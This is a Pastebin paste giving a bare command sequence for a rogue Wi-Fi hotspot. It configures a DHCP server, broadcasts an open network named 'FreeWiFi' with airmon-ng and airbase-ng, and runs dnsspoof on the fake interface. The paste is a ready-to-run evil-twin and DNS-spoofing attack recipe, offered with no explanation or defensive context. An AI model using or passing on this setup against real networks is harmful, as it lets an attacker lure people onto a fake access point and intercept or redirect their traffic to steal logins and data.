Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- sudo apt-get install isc-dhcp-server
- sudo nano /etc/dhcp/dhcpd.conf
- ddns-updates on;
- ddns-update-style interim;
- default-lease-time 600;
- max-lease-time 7200;
- option broadcast-address 192.168.2.255;
- option routers 192.168.2.1;
- option domain-name-servers 192.168.2.1;
- subnet 192.168.2.0 netmask 255.255.255.0 {
- interface at0;
- range 192.168.2.50 192.168.2.100;
- option subnet-mask 255.255.255.0;
- option broadcast-address 192.168.2.255;
- }
- sudo nano /etc/default/isc-dhcp-server
- INTERFACES="at0"
- sudo nano /etc/network/interfaces
- auto at0
- iface at0 inet static
- address 192.168.2.1
- netmask 255.255.255.0
- airmon-ng start wlan0
- airbase-ng -c 1 --essid FreeWiFi mon0
- sudo ifup at0
- service isc-dhcp-server start
- dnsspoof -i at0
Advertisement
Add Comment
Please, Sign In to add comment